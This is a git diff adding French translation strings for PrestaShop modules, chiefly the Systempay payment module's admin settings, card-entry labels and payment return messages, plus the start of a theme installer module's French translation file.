+$_MODULE['<{systempay}default>systempay_c2f3f489a00553e7a01d369c103c7251'] = 'NON'; +$_MODULE['<{systempay}default>systempayadmindisplay_004a093d1ab4ca81b4024639b4b2427a'] = 'Développé par'; +$_MODULE['<{systempay}default>systempayadmindisplay_01ed8a4015b45aa03653c53de46e37ee'] = 'Courriel de contact'; +$_MODULE['<{systempay}default>systempayadmindisplay_b1c1d84a65180d5912b2dee38a48d6b5'] = 'Version du module'; +$_MODULE['<{systempay}default>systempayadmindisplay_666809109472d77b71fc9930436c7ff1'] = 'Version de la plateforme'; +$_MODULE['<{systempay}default>systempayadmindisplay_66b5f3034a6f89c316df97eab1ec5663'] = 'Testé avec Prestashop'; +$_MODULE['<{systempay}default>systempayadmindisplay_dd98664034d01e01eba03dd5653f9cc3'] = 'CLIQUER ICI POUR ACCÉDER À LA DOCUMENTATION DE CONFIGURATION DU MODULE'; +$_MODULE['<{systempay}default>systempayadmindisplay_65a1f435f6f81dfe69dcdfc716f72649'] = 'PARAMÈTRES DE BASE'; +$_MODULE['<{systempay}default>systempayadmindisplay_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{systempay}default>systempayadmindisplay_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{systempay}default>systempayadmindisplay_b2d37ae1cedf42ff874289b721860af2'] = 'Logs'; +$_MODULE['<{systempay}default>systempayadmindisplay_ff9b0dd6daa6ef52ec2504bd7c243c74'] = 'Activer / désactiver les logs du module'; +$_MODULE['<{systempay}default>systempayadmindisplay_dfef29864f6f6dcd9dd673f3343221de'] = 'ACCÈS À LA PLATEFORME'; +$_MODULE['<{systempay}default>systempayadmindisplay_eff08814984e50d7991932fe8bf15991'] = 'Identifiant de votre site'; +$_MODULE['<{systempay}default>systempayadmindisplay_049701ca27fd91a0370ff4c41a5dd3f1'] = 'L\'identifiant de votre site, disponible dans le back-office de votre boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_5abbd73fc5189212c57adfb43adac459'] = 'Certificat en mode test'; +$_MODULE['<{systempay}default>systempayadmindisplay_51cc994ce3933ec14767f203e5fd6510'] = 'Certificat fourni par la plateforme de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_8d79d82e7b1b6174ac9a55a760d64edc'] = 'Certificat en mode production'; +$_MODULE['<{systempay}default>systempayadmindisplay_033bd94b1168d7e4f0d644c3c95e35bf'] = 'TEST'; +$_MODULE['<{systempay}default>systempayadmindisplay_86601675138015edb458866e7d879118'] = 'PRODUCTION'; +$_MODULE['<{systempay}default>systempayadmindisplay_650be61892bf690026089544abbd9d26'] = 'Mode'; +$_MODULE['<{systempay}default>systempayadmindisplay_7052d0a2a8ddfd85c7acf46354389a9e'] = 'Mode de fonctionnement du module'; +$_MODULE['<{systempay}default>systempayadmindisplay_21dbac9461f8ec4ca19d3fe3907a1776'] = 'URL de la plateforme'; +$_MODULE['<{systempay}default>systempayadmindisplay_4d3fe987b854c00669876f09e814dda8'] = 'Le client sera redirigé à cette adresse pour payer'; +$_MODULE['<{systempay}default>systempayadmindisplay_d735e44539f64ded159789010b4931b2'] = 'URL serveur à copier dans le back-office de votre boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_e0872477664fd58da4b5fe1c2aa6a453'] = 'Sélectionner une boutique pour afficher l\'URL serveur'; +$_MODULE['<{systempay}default>systempayadmindisplay_178ab52ae45ca10afab67d9f2a91c70c'] = 'PAGE DE PAIEMENT'; +$_MODULE['<{systempay}default>systempayadmindisplay_c96a77fb323a41898c3b6941a58dc741'] = 'Langue par défaut'; +$_MODULE['<{systempay}default>systempayadmindisplay_e27b4ff6694b9ba58627fee38486a7f6'] = 'Langue par défaut de la page de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_4e1b0d5f96251571c00165c066b7c550'] = 'Langues disponibles'; +$_MODULE['<{systempay}default>systempayadmindisplay_821467b11b6317263a4fc216af7112b8'] = 'Ne rien sélectionner pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}default>systempayadmindisplay_8f497c1a3d15af9e0c215019f26b887d'] = 'Délai'; +$_MODULE['<{systempay}default>systempayadmindisplay_123fc485e1ced719eed781646ffe2650'] = 'Délai avant remise en banque (en jours)'; +$_MODULE['<{systempay}default>systempayadmindisplay_941b264af0fd3d55827b0871b45039b2'] = 'Configuration back-office'; +$_MODULE['<{systempay}default>systempayadmindisplay_086247a9b57fde6eefee2a0c4752242d'] = 'Automatique'; +$_MODULE['<{systempay}default>systempayadmindisplay_e1ba155a9f2e8c3be94020eef32a0301'] = 'Manuelle'; +$_MODULE['<{systempay}default>systempayadmindisplay_31c46d040ddbf15207ebd7b78af8c45d'] = 'Validation du paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_f567c8fc35869581ef8f47eb37154bb1'] = 'En mode manuel, vous devrez confirmer les paiements dans votre back-office'; +$_MODULE['<{systempay}default>systempayadmindisplay_b0c3cae935975999a5f8ca3062969346'] = 'Cartes disponibles'; +$_MODULE['<{systempay}default>systempayadmindisplay_4131eb611f462538ec0a10abe8b9e724'] = 'Sélectionner les types de carte qui pourront être utilisés pour le paiement.'; +$_MODULE['<{systempay}default>systempayadmindisplay_9fe0bf30d35545b0688448c029e77fc2'] = 'PERSONNALISATION DE LA PAGE DE PAIEMENT'; +$_MODULE['<{systempay}default>systempayadmindisplay_e140e06995cf99c43970ef378e12b029'] = 'Configuration du thème'; +$_MODULE['<{systempay}default>systempayadmindisplay_5d27e396e9687029d9c9b13c08c79343'] = 'Configuration du thème pour personnaliser la page de paiement (logo, CSS).'; +$_MODULE['<{systempay}default>systempayadmindisplay_e93c33bd1341ab74195430daeb63db13'] = 'Nom de la boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_92e5b9360dff0d8fa8a7762359257fe7'] = 'Nom affiché sur la page de paiement. Laisser vide pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}default>systempayadmindisplay_37d00f4554dc3c0baeb34a9c22d787d9'] = 'URL de la boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_21235deb899b707b33cf99f6e8c810dc'] = 'URL affichée sur la page de paiement. Laisser vide pour utiliser la configuration de la plateforme.'; +$_MODULE['<{systempay}default>systempayadmindisplay_bf261894e1e1e3e798d4b636696e6662'] = '3DS SÉLECTIF'; +$_MODULE['<{systempay}default>systempayadmindisplay_920e5afd43a2aefa56e7b336fe49c5d4'] = 'Montant minimum pour lequel activer 3DS'; +$_MODULE['<{systempay}default>systempayadmindisplay_459ddd0a40e906c48c32cd32a0cbd9ed'] = 'Nécessite la souscription à l’option 3-D Secure sélectif.'; +$_MODULE['<{systempay}default>systempayadmindisplay_8e0b19a82842dddd5b4bbf435017d611'] = 'RETOUR À LA BOUTIQUE'; +$_MODULE['<{systempay}default>systempayadmindisplay_aadb7680e9cf237017cd8b67f6c73260'] = 'Redirection automatique'; +$_MODULE['<{systempay}default>systempayadmindisplay_2051113e1d11164763db9463db4f3f78'] = 'Rediriger le client vers la boutique à la fin du processus de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_e5e1991ad7aaf9fe6464c969920f097a'] = 'Délai en cas de succès'; +$_MODULE['<{systempay}default>systempayadmindisplay_46ac211030d7d389966175ae9fd711f4'] = 'Temps en secondes avant que le client soit redirigé vers la boutique après un paiement réussi'; +$_MODULE['<{systempay}default>systempayadmindisplay_eb348dd0d56400bd18e7c9e8d25cc666'] = 'Message avant redirection en cas de succès'; +$_MODULE['<{systempay}default>systempayadmindisplay_c739fa67a340c76b8bac9281b456ca3e'] = 'Message affiché au client avant qu\'il soit redirigé vers la boutique après un paiement réussi'; +$_MODULE['<{systempay}default>systempayadmindisplay_927bb2451d920fdba0ab0823fa7bae6d'] = 'Délai en cas d\'échec'; +$_MODULE['<{systempay}default>systempayadmindisplay_78d4bee1d6875f229d4e4320a6abf10e'] = 'Temps en secondes avant que le client soit redirigé vers la boutique après l\'échec du paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_00b7bcd80d9c9f19186b0c729f6085c4'] = 'Message avant redirection en cas d\'échec'; +$_MODULE['<{systempay}default>systempayadmindisplay_a4e63e0b942643e02daa5d2d3df9a814'] = 'Message affiché au client avant qu\'il soit redirigé vers la boutique après l\'échec du paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_a310223d5085f1c22218a24bc33b4e5d'] = 'GET (paramètres dans l\'URL)'; +$_MODULE['<{systempay}default>systempayadmindisplay_13b89b1404ec947deeb347c8e3901f9b'] = 'POST (formulaire)'; +$_MODULE['<{systempay}default>systempayadmindisplay_5c6a16d0f0782adac84a09b281878e84'] = 'Mode de retour'; +$_MODULE['<{systempay}default>systempayadmindisplay_369a63dd2214318d4b7107a0b74cc81f'] = 'Façon dont le client transmettra le résultat du paiement lors de son retour sur la boutique'; +$_MODULE['<{systempay}default>systempayadmindisplay_4dcaea1b2d8f025a39f1dec679a6186e'] = 'Retourner au choix du moyen de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_4d48c7d2809edea0b654f236d9695943'] = 'Enregistrer la commande échouée et retourner à l\'historique'; +$_MODULE['<{systempay}default>systempayadmindisplay_0922629c59c5f69e205a4c831f819794'] = 'Gestion des paiements échoués'; +$_MODULE['<{systempay}default>systempayadmindisplay_2ec6d9d74ab7d1ef252b9c514c1f0ec8'] = 'Comment traiter le retour du client après que le paiement ait échoué'; +$_MODULE['<{systempay}default>systempayadmindisplay_50aeba62672dfa15fed779c0248653cb'] = 'Paramètres GET additionnels'; +$_MODULE['<{systempay}default>systempayadmindisplay_c6c2cd91778ce3c566b06c1632ccde1e'] = 'Paramètres supplémentaires envoyés au retour en mode GET'; +$_MODULE['<{systempay}default>systempayadmindisplay_9fe7d4433879f84a21f1a9b47c792550'] = 'Paramètres POST additionnels'; +$_MODULE['<{systempay}default>systempayadmindisplay_1a01ef92951bf4fcc5cc02ec502e3e0d'] = 'Paramètres supplémentaires envoyés au retour en mode POST'; +$_MODULE['<{systempay}default>systempayadmindisplay_9d6b881a4d17ea44c0f9786f6a5e9c7f'] = 'OPTIONS DU MODULE'; +$_MODULE['<{systempay}default>systempayadmindisplay_f634a4ce61dbccff9374360fd995aaed'] = 'Titre de la méthode'; +$_MODULE['<{systempay}default>systempayadmindisplay_16a00c2b3807b01ce5730590198ff5db'] = 'Titre de la méthode à afficher sur la page des moyens de paiement.'; +$_MODULE['<{systempay}default>systempayadmindisplay_a9a62e70841c4d06dd16306a85700d36'] = 'Activation'; +$_MODULE['<{systempay}default>systempayadmindisplay_6816faa7d62a7c62b89c203b7317b08d'] = 'Sélectionner pour activer le paiement standard.'; +$_MODULE['<{systempay}default>systempayadmindisplay_bf050a33e991ac51cda468deccbb0692'] = 'RESTRICTIONS SUR LE MONTANT'; +$_MODULE['<{systempay}default>systempayadmindisplay_9f6e99bdd4184b83dc478d0ab1b4cbf7'] = 'Montant minimum'; +$_MODULE['<{systempay}default>systempayadmindisplay_fc1bc2d581a104d6e77e51cf38811b63'] = 'Montant minimum pour lequel cette méthode de paiement est disponible'; +$_MODULE['<{systempay}default>systempayadmindisplay_dcd700acd4c6727dca97f5b414cfb384'] = 'Montant maximum'; +$_MODULE['<{systempay}default>systempayadmindisplay_7b594176bb47ad19739bc60a8d5f969b'] = 'Montant maximum pour lequel cette méthode de paiement est disponible'; +$_MODULE['<{systempay}default>systempayadmindisplay_8e59fcba6a5225abb4717cd0a017dae5'] = 'ENTRÉE DES DONNÉES DE CARTE'; +$_MODULE['<{systempay}default>systempayadmindisplay_861cde4a15ea3a39126fbfb3571326fd'] = 'Acquisition des données sur la plateforme de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_e055e426fa40b587d4b3e238f33a6e38'] = 'Sélection du type de carte sur le site marchand'; +$_MODULE['<{systempay}default>systempayadmindisplay_30728a5a5aa3054af1db3fc6407bf20e'] = 'Acquisition des données sur le site marchand'; +$_MODULE['<{systempay}default>systempayadmindisplay_c239a367447ad7b1ae922a8e017f033d'] = 'Mode de saisie des données de la carte'; +$_MODULE['<{systempay}default>systempayadmindisplay_4bb7fc1c6f2c9cb09369c8e1892b5024'] = 'Sélectionner la manière dont seront saisies les données de la carte de crédit. Attention, pour utiliser l\'acquisition des données sur le site marchand, vous devez vous assurer d\'avoir souscrit à cette option auprès de votre banque.'; +$_MODULE['<{systempay}default>systempayadmindisplay_4423e7890e7296a9f535ce199d4d015e'] = 'Sélectionner pour activer le paiement multiple'; +$_MODULE['<{systempay}default>systempayadmindisplay_ce4d7de3b7a9c4d597d882898a14dcc5'] = 'OPTIONS DU PAIEMENT MULTIPLE'; +$_MODULE['<{systempay}default>systempayadmindisplay_e3135e5c28bd4c70a9bb3c50b0d278aa'] = 'Options de paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_ec211f7c20af43e742bf2570c3cb84f9'] = 'Ajouter'; +$_MODULE['<{systempay}default>systempayadmindisplay_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{systempay}default>systempayadmindisplay_b021df6aac4654c454f46c77646e745f'] = 'Libellé'; +$_MODULE['<{systempay}default>systempayadmindisplay_80a2645c681d607705f5baab7cf7d2cb'] = 'Montant min'; +$_MODULE['<{systempay}default>systempayadmindisplay_7d48ddaff550ef9e47ed788f50d860e7'] = 'Montant max'; +$_MODULE['<{systempay}default>systempayadmindisplay_f49498143b94e78415d06029763412b9'] = 'Contrat'; +$_MODULE['<{systempay}default>systempayadmindisplay_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Nombre'; +$_MODULE['<{systempay}default>systempayadmindisplay_1901606ea069a83dc7beea17881ef95a'] = 'Période'; +$_MODULE['<{systempay}default>systempayadmindisplay_5e6fab97b55b59a90290d851fb5fe929'] = '1er paiement'; +$_MODULE['<{systempay}default>systempayadmindisplay_b056d45a87280cf305ce0d0842478c5c'] = 'Cliquer sur le bouton Ajouter pour configurer une ou plusieurs options de paiement.'; +$_MODULE['<{systempay}default>systempayadmindisplay_bfad44649219843147084d62ba70bc79'] = 'Texte décrivant l\'option de paiement multiple.'; +$_MODULE['<{systempay}default>systempayadmindisplay_e922a8c9070a68a322e3dee8b87f0b62'] = 'Montant minimum pour proposer l\'option.'; +$_MODULE['<{systempay}default>systempayadmindisplay_59423ceb80faf63c4999208b598ca9fd'] = 'Montant maximum pour proposer l\'option.'; +$_MODULE['<{systempay}default>systempayadmindisplay_dc51d4d008b18d70eee856269de5e986'] = 'ID du contrat à utiliser avec l\'option (laissez vide de préférence).'; +$_MODULE['<{systempay}default>systempayadmindisplay_e9902c2d13eac5c51eeb3e4c3b72ee6d'] = 'Nombre total d\'échéances.'; +$_MODULE['<{systempay}default>systempayadmindisplay_0db6ef3684ba09860d46d0b46f097c51'] = 'Délai entre deux échéances (en jours).'; +$_MODULE['<{systempay}default>systempayadmindisplay_fb6f4e7d8e165952c58a9ec74bdd74cd'] = 'Montant de la première échéance en pourcentage du total. Si vide, toutes les échéances auront le même montant.'; +$_MODULE['<{systempay}default>systempayadmindisplay_c5ff1168424ff8eaa52a4234daee2e68'] = 'N\'oubliez pas de cliquer sur le bouton \"Enregistrer\" afin de sauvegarder vos modifications.'; +$_MODULE['<{systempay}default>systempayadmindisplay_28ef0ec84a6abddb4d894b93b047a8f7'] = 'Sélectionner pour activer le paiement FacilyPay Oney'; +$_MODULE['<{systempay}default>systempayadmindisplay_877c3919c058e9ca3e19286bed26cb35'] = 'Nécessite un contract FacilyPay Oney auprès de Banque Accord et la souscription à l\'option %s'; +$_MODULE['<{systempay}default>systempayadmindisplay_6e949302013414e958224c73334e8d99'] = 'OPTIONS DE LIVRAISON FACILYPAY ONEY'; +$_MODULE['<{systempay}default>systempayadmindisplay_eb3378ce39cddd81c9e7b011dcbf7196'] = 'Options de livraison'; +$_MODULE['<{systempay}default>systempayadmindisplay_2068f4dd0b1c5f2b86d1092d9301de7f'] = 'Compagnie de livraison'; +$_MODULE['<{systempay}default>systempayadmindisplay_507e465444cdd751dc7a539203c85f7c'] = 'Retrait en magasin'; +$_MODULE['<{systempay}default>systempayadmindisplay_b0efcf1ae8a6bff5debb5ed65de8f412'] = 'Point relais'; +$_MODULE['<{systempay}default>systempayadmindisplay_02da484e2730f20ccef65b94f903ea40'] = 'Retrait en station'; +$_MODULE['<{systempay}default>systempayadmindisplay_eb6d8ae6f20283755b339c0dc273988b'] = 'Standard'; +$_MODULE['<{systempay}default>systempayadmindisplay_b144fa061545497bebee8c414efc99a9'] = 'Express'; +$_MODULE['<{systempay}default>systempayadmindisplay_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{systempay}default>systempayadmindisplay_a1fa27779242b4902f7ae3bdd5c6d508'] = 'Type'; +$_MODULE['<{systempay}default>systempayadmindisplay_44877c6aa8e93fa5a91c9361211464fb'] = 'Vitesse'; +$_MODULE['<{systempay}default>systempayadmindisplay_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{systempay}default>systempayadmindisplay_fc2e1b075d134671d7016188b8011d4e'] = 'Définir les informations FacilyPay Oney sur toutes les méthodes de livraison.'; +$_MODULE['<{systempay}default>systempayadmindisplay_f430542ef8d11a982a31141ddec5ef8e'] = 'Le libellé de la méthode de livraison.'; +$_MODULE['<{systempay}default>systempayadmindisplay_c2170582a67d7d0bc7636ad4d322443e'] = 'Le type de la méthode de livraison.'; +$_MODULE['<{systempay}default>systempayadmindisplay_361637f00a86ad3879342852b10281a2'] = 'Sélectionner si la livraison est en mode STANDARD ou EXPRESS.'; +$_MODULE['<{systempay}default>systempayadmindisplay_457542431996d9c44a8896330a1f0404'] = 'Entrer une adresse s\'il s\'agit d\'un retrait en magasin.'; +$_MODULE['<{systempay}default>systempayadmindisplay_22003906cd1030f32dd17f58b4049dfe'] = 'Alimentation et épicerie'; +$_MODULE['<{systempay}default>systempayadmindisplay_b88033354e42b423efaefbcc5649ddb9'] = 'Automobile'; +$_MODULE['<{systempay}default>systempayadmindisplay_336fdcf7d540e4b430a890b63da159c9'] = 'Loisirs'; +$_MODULE['<{systempay}default>systempayadmindisplay_ca5f6d15b151c54a4cbf6f231c540f39'] = 'Maison et jardin'; +$_MODULE['<{systempay}default>systempayadmindisplay_efd593bd9811ea0c1ed407b32f68d599'] = 'Electroménager'; +$_MODULE['<{systempay}default>systempayadmindisplay_87f83f78cf682b5606a8ea1544adccf0'] = 'Enchères et achats groupés'; +$_MODULE['<{systempay}default>systempayadmindisplay_e1bc3b4e930537de4707bb928c712a0c'] = 'Fleurs et cadeaux'; +$_MODULE['<{systempay}default>systempayadmindisplay_a382a28ebfd91e538e8f00c0cfd871d2'] = 'Informatique et logiciels'; +$_MODULE['<{systempay}default>systempayadmindisplay_2c0a2fa68bd358738766a1e7cb3aa917'] = 'Santé et beauté'; +$_MODULE['<{systempay}default>systempayadmindisplay_ab6a1358f4237ebc94e81384c1275592'] = 'Services à la personne'; +$_MODULE['<{systempay}default>systempayadmindisplay_6c437bccc40bb38ed269b3e163bb657c'] = 'Services aux entreprises'; +$_MODULE['<{systempay}default>systempayadmindisplay_918e180e06b96c76b7193c9fcb1cb312'] = 'Sports'; +$_MODULE['<{systempay}default>systempayadmindisplay_2e22a11f2216b183de96c2f8d5c2b0f3'] = 'Habillement et accessoires'; +$_MODULE['<{systempay}default>systempayadmindisplay_1fb0f99b55e6c2be35aed72ebe38c245'] = 'Voyages'; +$_MODULE['<{systempay}default>systempayadmindisplay_d0507391e83265a7255c1ab8597a750b'] = 'Audio, photo, vidéo domestiques'; +$_MODULE['<{systempay}default>systempayadmindisplay_7fa3b0ba6f1dd45ac564a12e16033358'] = 'Téléphonie'; +$_MODULE['<{systempay}default>systempayadmindisplay_a091bbd4496a57bbe07cbe9561818e48'] = 'Mapping des catégories'; +$_MODULE['<{systempay}default>systempayadmindisplay_eaa6efee1322e72edf57cb1ab2a1de39'] = 'Utiliser la même catégorie pour tous les produits'; +$_MODULE['<{systempay}default>systempayadmindisplay_3625cdf19abd4ec330b3db80a9d03c50'] = 'Catégorie du produit'; +$_MODULE['<{systempay}default>systempayadmindisplay_78888a976865d78a0c1845e05cc95a87'] = 'Catégorie FacilyPay Oney'; +$_MODULE['<{systempay}default>systempayadmindisplay_12ca1458e2bcfa83963744127377c77b'] = 'Sélectionner une catégorie pour tous les produits ou faire la correspondance entre chaque catégorie produit et une catégorie FacilyPay Oney.'; +$_MODULE['<{systempay}default>back_office_4a9cc7ddfd6e169a1b434d6839d91a7e'] = 'CONFIGURATION GÉNÉRALE'; +$_MODULE['<{systempay}default>back_office_7c579486ce2345a95aec18c4eb2584a9'] = 'PAIEMENT EN UNE FOIS'; +$_MODULE['<{systempay}default>back_office_a51ca50af2761900a8835ca9eef9e94e'] = 'PAIEMENT EN PLUSIEURS FOIS'; +$_MODULE['<{systempay}default>back_office_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{systempay}default>redirect_f1c1725dc182726512227aef9ee210c7'] = 'Paiement en cours'; +$_MODULE['<{systempay}default>redirect_31682b69de73c081c487b0cb5002549d'] = 'Redirection vers la plateforme de paiement'; +$_MODULE['<{systempay}default>redirect_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{systempay}default>redirect_e555610477d1aa7807d93f28ba80141e'] = 'Paiement par carte bancaire'; +$_MODULE['<{systempay}default>redirect_67e5af82e0dca6b20203d71fd681814a'] = 'Veuillez patienter SVP. Le paiement de votre commande est en cours.'; +$_MODULE['<{systempay}default>redirect_ff1b91552dca022519140532b2b2ab82'] = 'Merci de patienter, vous allez êtes redirigé vers la plateforme de paiement.'; +$_MODULE['<{systempay}default>redirect_255a72c22960b12c1fab325d80e0dd56'] = 'Si rien ne se passe dans 10 secondes, cliquez sur le bouton ci-dessous.'; +$_MODULE['<{systempay}default>redirect_99938b17c91170dfb0c2f3f8bc9f2a85'] = 'Payer'; +$_MODULE['<{systempay}default>payment_multi_cb82c86a648fa1d594b0681955bc9930'] = 'Sélectionnez une option de paiement puis cliquez sur le bouton «Payez maintenant»'; +$_MODULE['<{systempay}default>payment_multi_8bd4837a76cf443ab523a51895e23c36'] = 'Payez maintenant'; +$_MODULE['<{systempay}default>payment_oney_4803e7f3699700fce00b93f24e48d23d'] = 'Cliquez ici pour payer avec FacilyPay Oney'; +$_MODULE['<{systempay}default>payment_return_be6df635dcc7e523098a34e105376cee'] = 'La boutique est en mode maintenance. La validation automatique ne peut fonctionner.'; +$_MODULE['<{systempay}default>payment_return_93ec33bd6d2df2fd2c69cc83ef77ddee'] = 'La validation automatique n\'a pas fonctionné. Avez-vous configuré correctement l\'URL serveur dans le back-office de votre boutique ?'; +$_MODULE['<{systempay}default>payment_return_aed9aa264932d1a9f52d263956117993'] = 'Afin de comprendre la problématique, reportez vous à la documentation du module : '; +$_MODULE['<{systempay}default>payment_return_b6b31e5e082ae15d4942daa6b8ce78f0'] = 'Chapitre «A lire attentivement avant d\'aller loin»'; +$_MODULE['<{systempay}default>payment_return_8dce4920007239e5dce0eea948ddeee3'] = 'Chapitre «Paramétrage de l\'URL serveur»'; +$_MODULE['<{systempay}default>payment_return_18c51ad1b1fe562479120ab35f890fc9'] = 'Si vous pensez qu\'il s\'agit d\'une erreur, vous pouvez contacter notre'; +$_MODULE['<{systempay}default>payment_return_64430ad2835be8ad60c59e7d44e4b0b1'] = 'service client'; +$_MODULE['<{systempay}default>payment_return_73f642dd4a7e09c7570833f584f77263'] = 'PASSER EN PRODUCTION'; +$_MODULE['<{systempay}default>payment_return_fce9858aa1e2d1353476b18320719dc3'] = 'Vous souhaitez savoir comment passer votre boutique en production merci de consulter cette URL : '; +$_MODULE['<{systempay}default>payment_return_de24df15226a5139eb60c3b24c1efbd6'] = 'Votre commande a été enregistrée avec une erreur de paiement.'; +$_MODULE['<{systempay}default>payment_return_3fee1227f1b7e441476ccb45278a5f22'] = 'Nous vous invitons à contacter notre'; +$_MODULE['<{systempay}default>payment_return_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Votre commande sur'; +$_MODULE['<{systempay}default>payment_return_75fbf512d744977d62599cc3f0ae2bb4'] = 'est terminée.'; +$_MODULE['<{systempay}default>payment_return_ee9d464a5f04b1c5f548d1655691ce82'] = 'Nous avons enregistré votre paiement de'; +$_MODULE['<{systempay}default>payment_return_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{systempay}default>payment_std_b1bdf76454f7e864d239b0c71ee97815'] = 'Cliquer ici pour payer par carte bancaire'; +$_MODULE['<{systempay}default>payment_std_d0a07bc7bd65a0b0286bfca021f8e280'] = 'Entrez les informations sur le paiement puis cliquez sur le bouton «Payez maintenant»'; +$_MODULE['<{systempay}default>payment_std_a44217022190f5734b2f72ba1e4f8a79'] = 'Numéro de carte'; +$_MODULE['<{systempay}default>payment_std_60a104dc50579d60cbc90158fada1dcf'] = 'CVV'; +$_MODULE['<{systempay}default>payment_std_8c1279db4db86553e4b9682f78cf500e'] = 'Date d\'expiration'; +$_MODULE['<{systempay}default>payment_std_7cbb885aa1164b390a0bc050a64e1812'] = 'Mois'; +$_MODULE['<{systempay}default>payment_std_537c66b24ef5c83b7382cdc3f34885f2'] = 'Année'; +$_MODULE['<{systempay}default>payment_std_8bd4837a76cf443ab523a51895e23c36'] = 'Payez maintenant'; diff --git a/themes/default/modules/themeinstallator/translations/en.php b/themes/default/modules/themeinstallator/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/themeinstallator/translations/fr.php b/themes/default/modules/themeinstallator/translations/fr.php new file mode 100755 index 0000000..39bf642 --- /dev/null +++ b/themes/default/modules/themeinstallator/translations/fr.php @@ -0,0 +1,105 @@ +themeinstallator_fff01a1de50e0559f82501a927654d1b'] = 'Importer / Exporter un thème'; +$_MODULE['<{themeinstallator}default>themeinstallator_83ebbd7865677d356ffde5ad7e12784f'] = 'Exporter ou importer un thème et ses modules sur votre boutique.'; +$_MODULE['<{themeinstallator}default>themeinstallator_ea5eb3f904bf42377277255cbd0e2251'] = 'Pour fonctionner correctement ce module nécessite que le module de rétrocompatibilité soit installé'; +$_MODULE['<{themeinstallator}default>themeinstallator_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Pour fonctionner correctement ce module a besoin du module de rétrocompatibilité avec au minimum la version v'; +$_MODULE['<{themeinstallator}default>themeinstallator_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Pour utiliser ce module vous devez installer le module de rétrocompatibilité'; +$_MODULE['<{themeinstallator}default>themeinstallator_625752b5671445388af8f5e1ea3176c0'] = '%s ne peut être exporter. Celui-ci est invalide.'; +$_MODULE['<{themeinstallator}default>themeinstallator_25b9e1d82d8200d70be2b22a1a283957'] = 'Une erreur est survenue durant l\'envoi du fichier.'; +$_MODULE['<{themeinstallator}default>themeinstallator_050991b5b76aad0be75563b7cb93a33e'] = 'Seuls les fichiers .zip sont autorisés'; +$_MODULE['<{themeinstallator}default>themeinstallator_57c1ed81b02e5d3361323c7930897295'] = 'Une erreur est survenue durant la copie du fichier.'; +$_MODULE['<{themeinstallator}default>themeinstallator_5fd13c2b89a6eaaa4614bfe258f6c40f'] = 'Le fichier .zip semble corrompu'; +$_MODULE['<{themeinstallator}default>themeinstallator_0dea6caeb83e5c11d3678284e64ebed8'] = 'Une erreur est survenue durant le téléchargement du fichier'; +$_MODULE['<{themeinstallator}default>themeinstallator_c186217583219f4cd040d9ee8d388ffb'] = 'Une erreur est survenue durant l\'extraction du fichier .zip'; +$_MODULE['<{themeinstallator}default>themeinstallator_0210b6456cdccad569cb56026bb0f689'] = 'Mauvais fichier de configuration'; +$_MODULE['<{themeinstallator}default>themeinstallator_a7eca295291f53a23ab7ba0a9c7fd9de'] = 'Cette fonctionnalité a été désactivé.'; +$_MODULE['<{themeinstallator}default>themeinstallator_5b6cf869265c13af8566f192b4ab3d2a'] = 'Documentation'; +$_MODULE['<{themeinstallator}default>themeinstallator_6bdbe5a8a9f446d4d758ee4c22648771'] = 'Vous devriez consulter la documentation'; +$_MODULE['<{themeinstallator}default>themeinstallator_7348fd57bfb5c837fc57e54fcfeeed9e'] = 'Faites un clic droit sur le nom et choisissez \"Enregistrer le lien sous\"'; +$_MODULE['<{themeinstallator}default>themeinstallator_00f0916ff7ef4b0a0583b679b6e84d8c'] = 'Les modules suivants ont été installés :'; +$_MODULE['<{themeinstallator}default>themeinstallator_9bdbe38cc4695eeb974613a148cc92b7'] = 'Les modules suivants ont été désactivées :'; +$_MODULE['<{themeinstallator}default>themeinstallator_04e4e6909614be09727ebe4fb79c9e27'] = 'Les modules suivants ont été activées :'; +$_MODULE['<{themeinstallator}default>themeinstallator_0dfbf4744524c8573235d60589d8b66e'] = 'Les images ont bien été mises à jour dans la base de données'; +$_MODULE['<{themeinstallator}default>themeinstallator_4e246bd71dd5fb033e402b373e6ee434'] = 'Attention: Copier/Coller vos erreurs si vous souhaitez définir manuellement le type d\'image (dans la page «Images» du menu \"Préférences\") :'; +$_MODULE['<{themeinstallator}default>themeinstallator_203c5dff06c7565ffd6713a914c62d16'] = 'Certaines ne peuvent pas être ajouté car elles existent. Voici la liste :'; +$_MODULE['<{themeinstallator}default>themeinstallator_3b90370ac32dead2af37eabe3bdbb97f'] = 'Nom du type d\'image :'; +$_MODULE['<{themeinstallator}default>themeinstallator_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{themeinstallator}default>themeinstallator_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{themeinstallator}default>themeinstallator_dd1f775e443ff3b9a89270713580a51b'] = 'Précédent'; 